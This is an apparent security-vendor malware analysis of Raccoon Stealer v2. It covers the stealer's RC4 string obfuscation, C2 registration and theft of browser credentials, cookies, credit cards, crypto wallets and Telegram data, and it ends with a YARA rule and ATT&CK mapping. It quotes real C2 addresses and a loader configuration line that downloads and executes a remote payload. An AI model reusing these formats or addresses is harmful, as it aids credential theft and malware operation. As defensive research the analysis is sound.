Raccoon Stealer v2 – Part 2: In-depth analysis

Introduction

Raccoon is an information-stealing malware the likes of cryptocurrency wallet stealers such as AgentTesla, Formbook, Redline, and Vidar. In March 2022, Raccoon Team announced their temporary retirement due to missing team members related to the conflict between Ukraine and Russia that started in February 2022 on different forums (i.e. xss[.]is). They also mentioned they are working on a new version of the malware.

This blog post is a technical analysis of the new Raccoon Stealer 2.0 stand-alone version. Authors have announced that the malware is also available in a DLL format or could be embedded in other PE.

Link to the analyzed sample : https://bazaar.abuse.ch/sample/022432f770bf0e7c5260100fcde2ec7c49f68716751fd7d8b9e113bf06167e03/

This article follows up the first publication on Raccoon Stealer v2 to analyse in depth the malware functionalities and capabilities.

Technical overview

Raccoon Stealer v2 is written in C/C++ and ASM, the standalone version is approximately 56 KB, malware obfuscates its configuration and strings. It also performs dynamic linking. Communication with its Command and Control servers occurs over HTTP; no encryption or data obfuscation is used to exchange with the attacker’s server.

Raccoon v2 targets various crypto wallets, retrieves cookies and saves credit card numbers from browsers (Edge, Firefox and Chrome).

Run-time dynamic Linking

The first task performed by the malware is to link libraries functions, initially the PE initiates handles to `Shell32.dll`, `WinInt.dll`, `Crypt32.dll`, `Ole32.dll`, `User32.dll`, `Advapi32.dll` and Kernel32.dll. Contrary to other malwares of the same family, Raccoon doesn’t hide the loading of `LoadLibrary` and `GetProcAddress` [T1055.001], moreover imported functions from the various libraries are stored in clear text.

Figure 1. Part of the decompiled function which executes the run-time dynamic linking

Obfuscation techniques

Once the functions are imported, Raccoon deobfuscates [T1140] a list of strings used to set up Command and Control communication, and exfiltration operations. This obfuscation technique is often implemented in other malware. The obfuscated strings are RC4-encrypted [T1027] strings stored in base64. The sample used two different RC4 keys, one for decrypting strings used later in the program and a second one to decrypt the list of C2.

Figure 2. Example of the multiple calls to the first deobfuscation function

Figure 3. Decompiled version of the RC4 algorithm used in Raccoon v2

logins.json
\autofill.txt
\cookies.txt
\passwords.txt
---
--
*/*
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Type: multipart/form-data; boundary=
Content-Type: text/plain;
User Data
wallets
wlts_
ldr_

Figure 4. Extract of deobfuscated data

As mentioned in the beginning of this section, Raccoon Stealer used a different key to decrypt its Command and Control URLs; the deobfuscated values are stored in an array. This array can take up to 5 values, which we assess as a capacity of the malware to have a backup Command and Control instance to ensure resilience.

Figure 5. Deobfuscation of the Command and Control with the new RC4 key

The deobfuscated C2 in the sample we analyzed is: http://51.195.166[.]184/

Figure 6. CyberChef recipe to deobfuscate the C2 URLs

Mutex

After the run-time dynamic linking and string deobfuscation, the stealer checks the existence of a Mutex. In the sample we analyzed, its value is 8724643052. If the mutex already exists, the process exits, otherwise, the malware creates it and the malware further proceeds.

Figure 7. Mutex operation in Raccoon Stealer v2

It is worth noting that the mutex test is the only technique we observed in the sample that would prevent malware execution.

Host checking

The malware then checks the privileges of the running process and returns zero in case the S-I-D (Security IDentifier) is S-1-5-18 which stands for NT Authority\System. However this function also returns zero if the process can neither get the token information nor convert its SID into a string type. 

Figure 8. Code checking current permissions

If the process permission is not NT Authority\System, or the process cannot get its token information, the malware does not perform the next function that loops over the running processes [T1057]. Again, the result of this function is not critical to the rest of the execution; the returned value is immediately erased by the next instruction. (cf.: `mov eax, some value`).

Figure 9. Malware listing running process of the infected host

Nb: This non-usage of the return value likely indicates that Raccoon Stealer v2 is still under development.

Initial C2 communication

After what can be considered the initiation phase, the malware begins to set up its first connection to the Command and Control server [T1041]. 

First, it gets the MachineGuid by reading the Registry [T1012] to identify the infected host: HKLM:\SOFTWARE\Microsoft\Cryptography\MachineGuid

Figure 10. Fingerprinting of the MachineGuid via the Registry

Then it reads the username from Adavapi32 library. 

Figure 11. Code used to get the username

Eventually, the data are concatenated with the following structure:

machineId=<MachineGuid>|<UserName>&configId=<RC4 key>

Figure 12. Host fingerprinting and Command and Control server communication

The formatted data is sent to the C2 over HTTP in a POST request at the root of the server. It is interesting to note that the loop requests the list of previously deobfuscated C2; the malware requests every C2 in its list; the first to respond with data is assigned as the official C2 for the next communication.

The C2 replies with a significant configuration in plain text, which contains the following information:

• Downloading DLLs URLs;
• Requested functionalities:
  • Take a screenshot (cf.: `scrnsht_`);
  • Cache investigation of the Telegram desktop application (cf.: `tlgrm_`);
  • Next stage setup and execution (cf.: `ldr_1`);
• Browser extensions to search for (cf.: `ews_`);
• Cryptographic Wallets of interest (cf.: `wlts_`);
• A token used to define the HTTP C2 endpoint for further communication.

Figure 13. Extract of the configuration sent by the C2 server to infected host

All of the described configurations are not always set up; for example, screenshot capture or next stage loader are often missing, they might not be present by default.

DLLs setup

As presented in the previous section, the malware retrieves information about the URLs hosting the following DLLs to be downloaded [T1105]:

• nss3.dll
• nssdbm3.dll
• msvcp140.dll
• vcruntime140.dll
• mozglue.dll
• freebl3.dll
• softokn3.dll
• sqlite3.dll

These are legitimate third-party DLLs allowing malware to collect data on the infected host.

Figure 14. PCAP extract of the DLLs downloading

Figure 15. Decompiled code downloading the libraries

After parsing the list of DLLs, the malware contacts another Command and Control server to download them. The DLLs are then dropped on the infected host.

Note: At this stage, libraries are not loaded into memory.

Host fingerprinting

Raccoon fingerprints the infected host and the following information are collected [T1082]:

• User CID
• TimeZone [T1614]
• OS version
• Host architecture
• CPU information
• RAM capacity
• Information about display devices
• List installed applications [T1518]

Figure 16. Advanced host fingerprinting

All information is gathered in a file named `System Info.txt` which is sent to the C2 server in a POST request with the content type `application/x-object`. This time, the C2 URL changes, the token extracted from the configuration (the one received in the first HTTP response) is used as the new HTTP endpoint.

Figure 17. Sended packet to the C2 containing fingerprint information

Configuration big picture

As introduced in the section `C2 communication initiation`, the sample obtains a configuration with a particular structure. Each line of the configuration, which is text-based, defines a type and how to collect information on the host. `wlts_` and `ews_` are prefixes used in the configuration, `wlts_` stands for wallets and `ews_` for browser web extension, as shown below by two configuration examples:

• ews_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings
• wlts_xmr:Monero;5;Monero\\wallets;*.keys;

Configuration for browser extensions is defined by three values separated by semicolon: the browser extension directory name, the name and the type of extension, the extension type can be `Local Extension Settings` or `IndexedDB`.

Configuration for wallets is a bit more complex. Here the values are separated by a semicolon: the first value is the wallet name, the second value is an integer, the next values are files and/or directories pattern to search.

Stealing functions summary

The execution flow for the next functions is as follows (each step is detailed in the next sections of this article):

1. Use sqlite3.dll to retrieve credit card information, cookies and saved passwords by browser (autofill) [T1539] [T1555.003];
2. Use mozglue3.dll to get logins.json, cookies, and histories from Firefox [T1539] ;
3. Parse the received configuration to search for particular crypto wallets (cf.: `wlts_` and `ews_`)[T1005];
4. Search file named `wallet.dat` [T1005];
5. Grab files according to the pattern set in the configuration; [optional] [T1119]
6. Investigate into the Telegram Desktop cache; [optional]
7. Capture a screenshot of the infected host desktop; [optional] [T1113]
8. Load and execute the next stage. [optional] [T1106]

Figure 18. Part of the main function doing the data theft, screenshot capture and next stage loading

Data extraction with sqlite3.dll

The first function in charge of stealing data on the infected host loops over files to search for `User Data` (Edge and Chrome browsers) and `pera` file names. 

Figure 19. Extract of the code executing the SQL queries

Once a file is found, the malware triggers the execution of a list of functions that executes sqlite queries, then their results are parsed and formatted to be sent to the C2 server.

The next two screenshots are examples of SQL queries to get [T1539] [T1555.003]:

1. cookies
2. credit cards information ( holder’s name, number, expiration date)

Figure 20. Example of SQL used to retrieved cookies

Figure 21. Example of SQL query used to retrieve credit card numbers from Google chrome file

Finally, the function will parse the retrieved configuration (eg: `ews_`) and search for the browser extensions directory (generally located under AppData\Local\Google\User Data\Default\Extensions for Google Chrome) .

When data is collected from different sources, the malware formats these data before sending them to the C2 server.

Interesting observation: for each function that uses the sqlite3.dll exported functions, the malware re-assigns imports (cf.: `GetProcAddress`). A similar behavior is observed for the other downloaded DLLs.

Figure 22. Reference to sqlite3 prepare_v2 function loading

Data extraction with nss3.dll

The process is the same with nss3.dll, the malware is looking for particular files matching known patterns related to the web browser.

This time, it targets cookies, logins.json files and the browser history [T1539] [T1555.003].

Figure 23. Other function responsible to retrieved web browser data

Wlts_ extraction 

A list of wallets to search on the infected host is sent by the C2, these wallets are prefixed by `wlts_`. The method is simple: it loops over the configuration when the first six bytes match `wlts_`, then Raccoon Stealer parses the leftover of the configuration line to search for particular file patterns. In case a pattern match, the file is copied and sent to the C2 server [T1005].

Figure 24. Extract of the configuration sent by the C2 used for the wallet investigation

Figure 25. Workflow of the function used to search file, copy it content and format it for the C2

1. Loop over files and directories until a pattern matches
2. Create a copy of the file
3. Format exfiltrated data before sending them to the C2

Again, if a wallet is found, a POST HTTP request with a copy of the wallet written in-body is sent to the C2; otherwise no request is made.

Wallet.dat

In this function, Raccoon Stealer iterates the different directories to search for files named wallet.dat (ref: bitcoin wallet). No particular operation is performed against this file [T1005] [T1083].

Figure 26. Extract of the code used to search wallet.dat file

File grabber

In the configuration, the malware may receive the following line:

grbr_:%USERPROFILE%\Desktop|.*txt`|*recycle*,*windows*|20|1|1|1|files 

The above configuration indicates to the malware to look for all text files ( .txt) in the desktop folder [T1083] [T1119]. No particular operation is performed on the filename or its content. In case a file matches the given pattern, a copy is sent to the C2.

Telegram cache investigation

The last stealing function used by Raccoon Stealer consists of investigating the Telegram Desktop cache data located under the `Telegram Desktop\tdata` directory.

The related configuration line is:

tlgrm_Telegram:Telegram Desktop\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*

The `tdata` directory of the Telegram Desktop application is used to store the application cache where valuable data is stored, for instance session cookies.

Screenshot capture

Another capability of the Raccoon Stealer is to take a screenshot and send it to the C2 server [T1113]. The figure below shows the process initiating the Device Context on the desktop window handler, followed by the capture of an area and its conversion into a bitmap.

Figure 27. Decompiled code used to create the screenshot capture

The screenshot operation is optional in Raccoon workflow. The condition to execute this function is to receive in the configuration the `scrnsht_` line (cf.: `scrnsht_Screenshot.jpeg|1`), where `Screenshot.jpeg` capture name will be prefixed by `—` before being exfiltrated to the C2 server again with content type `application/x-object`.

Figure 28. HTTP packet containing the screenshot sent to the C2

Next stage loader

Finally, the malware ends up processing the configuration sent in the first HTTP response, by parsing its last line:

ldr_1:http://94.158.244.119/U4N9B5X5F5K2A0L4L4T5/84897964387342609301.bin|%TEMP%\|exe

This instruction pertains to the loader configuration, whose structure is `ldr_X:URL|execution directory|PE type`. This configuration is in charge of loading and executing the next stage [T1106] [T1407]. The payload choice is up to the actor who purchased Raccoon. In this analysis, the dropped and executed payload is a basic Trojan.

`X` is an integer whose value indicates which type of loading should be used: 

• `3` indicates to execute the payload directly (no investigation done on this case due to the lack of sample matching this scenario);
• `2` is not implemented;
• `1` means the payload is located on a remote host and needs to be downloaded before being executed.

Figure 29. Loading of the next payload from a remote file and its execution with ShellExecuteW function

Nb: We assess that the last argument (PE type) in the configuration line likely allows Raccoon Stealer to load other binaries than executable, such as a shellcode or a DLL, that can be embedded in the Raccoon Stealer binary.

Command and Control communications summary

After loading and executing the next stage, Raccoon Stealer’s job is done. To sum up, see the network capture of the analyzed sample below, that shows a typical exchange between the Command and Control server and the infected host:

Figure 30. Summary of the network communication between the infected host and the C2 with Wireshark

1. Register the new infected host and retrieve the stealer configuration;
2. Download DLLs;
3. Send System Info.txt with host fingerprint information;
4. Send stolen data (wallet(s), password(s), etc…);
5. Send ---Screenshot.jpeg file;
6. Download the next stage of the infection.

YARA rule

As described in the obfuscation techniques section, the new version of Raccoon Stealer hides its strings and configuration using a very common technique (base64 encoded with RC4). The following YARA rule matches the implemented RC4 decryption algorithm, and at least 20 occurrences, of the string deobfuscation routine.

rule infostealer_win_raccoon_v2_rc4 {
    meta:        
             malware = "Raccoon"
        description = "Finds samples of the Raccoon Stealer V2 based on the RC4 decryption algorithm and the deobfuscation routine"
        author = "SEKOIA.IO"
        creation_date = "2022-06-16"
        modification_date = "2022-06-16"

    strings:
        $rc4_opcode = {99 f7 7d fc 8b 45 10 0f be 04 02 03 c1 03 f0 81 e6 ?? ?? ?? ?? 79 08 4e 81 ce ?? ?? ?? ?? 46}
        $deobfuscation = {8d 4d ?? 51 50 8b ce e8 ?? ?? 00 00 8d 55 ?? a3 ?? ?? ?? ?? b9 ?? ?? ?? ?? e8 ?? ?? ff ff 57}
    
    condition:
        $rc4_opcode and #deobfuscation > 20 and filesize < 70KB   
}

Configuration extractor

The python extraction script solely works for stand-alone PE of Raccoon Stealer v2 and it is available on the SEKOIA.IO Community Github.

Targeted Browser extensions and wallets

Targeted wallets

• Bitcoin
• Exodus
• Atomic
• JaxxLiberty
• Binance
• Coinomi
• Electrum
• Electrum-LTC
• ElectrumCash
• Guarda
• BlockstreamGreen
• Ledger
• Daedalus
• MyMonero
• Monero
• Wasabi

Targeted browser web extensions

• MetaMask
• TronLink
• BinanceChain
• Ronin
•  MetaX
• XDEFI
• WavesKeeper
• Solflare
• Rabby
• CyanoWallet
• Coinbase
• AuroWallet
• KHC
• TezBox
• Coin98
• Temple
• ICONex
• Sollet
• CloverWallet
• PolymeshWallet
• NeoLine
• Keplr
• TerraStation
• Liquality
• SaturnWallet
• GuildWallet
• Phantom
• TronLink
• Brave
• MEW_CX
• TON
• Goby

MITRE ATT&CK TTPs

Tactic	Technique	Description
Defense Evasion	T1140 – Deobfuscate/Decode Files or Information	Raccoon Stealer 2.0 decodes strings and the C2 configuration in the malware using RC4 and base64.
Defense Evasion	T1027 – Obfuscated Files or Information	Raccoon Stealer 2.0 uses RC4-encrypted strings.
Credential Access	T1539 – Steal Web Session Cookie	Raccoon Stealer 2.0 harvests cookies from popular browsers.
Credential Access	T1555.003 – Credentials from Password Stores: Credentials from Web Browsers	Raccoon Stealer 2.0 collects passwords from popular browsers.
Discovery	T1083 – File and Directory Discovery	Raccoon Stealer 2.0 lists files and directories to grab files through all disks.
Discovery	T1057 – Process Discovery	Raccoon Stealer 2.0 lists the current running processes on the system.
Discovery	T1012 – Query Registry	Raccoon Stealer 2.0 queries the Windows Registry key at HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid to retrieve the MachineGuid value.
Discovery	T1518 – Software Discovery	Raccoon Stealer 2.0 lists all installed software for the infected machine, by querying the Windows Registry key at HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\uninstall
Discovery	T1082 – System Information Discovery	Raccoon Stealer 2.0 collects OS version, host architecture, CPU information, RAM capacity and display device information.
Discovery	T1614 – System Time Discovery	Raccoon Stealer 2.0 collects the time zone information from the system.
Collection	T1119 – Automated Collection	Raccoon Stealer 2.0 scans the disks and automatically collects files.
Collection	T1005 – Data from Local System	Raccoon Stealer 2.0 collects credentials of cryptocurrency wallets from the local system.
Collection	T1113 – Screen Capture	Raccoon Stealer 2.0 captures a screenshot of the victim’s desktop.
Command and Control	T1071.001 – Application Layer Protocol: Web Protocols	Raccoon Stealer 2.0 uses HTTP for C2 communications.
Command and Control	T1041 – Exfiltration Over C2 Channel	Raccoon Stealer 2.0 exfiltrates data over the C2 channel.
Command and Control	T1105 – Ingress Tool Transfer	Raccoon Stealer 2.0 downloads legitimate third-party DLLs for data collection onto compromised hosts.
Execution	T1106 – Native API	Raccoon Stealer 2.0 has the ability to launch files using ShellExecuteW.
Defense Evasion	T1055.001 – Process Injection: Dynamic-link Library Injection	Raccoon Stealer 2.0 has the ability to load DLLs via LoadLibraryW and GetProcAddress.
Defense Evasion	T1407 – Download New Code at Runtime	Raccoon Stealer 2.0 downloads its next stage from a remote host.

Thank you for reading this article. You can also read our article on:

• Ongoing Roaming Mantis smishing campaign targeting France.
• BumbleBee: a new trendy loader for Initial Access Brokers.
• XDR vs Ransomware.

Read also :

• Traffers: a deep dive into the information stealer ecosystem
• Raccoon Stealer v2 – Part 1: The return of the dead
• Mars, a red-hot information stealer
• EternityTeam: a new prominent threat group on underground forums
• The story of a ransomware builder: from Thanos to Spook and beyond (Part 2)
• Unveiling of a large resilient infrastructure distributing information stealers
• Command & Control infrastructures tracked by SEKOIA.IO in 2022
• Stealc: a copycat of Vidar and Raccoon infostealers gaining in popularity – Part 1
• Stealc: a copycat of Vidar and Raccoon infostealers gaining in popularity – Part 2
• Peeking at Reaper’s surveillance operations
• APT28 leverages multiple phishing techniques to target Ukrainian civil society
• Bluenoroff’s RustBucket campaign
• Following NoName057(16) DDoSia Project’s Targets
• CustomerLoader: a new malware distributing a wide variety of payloads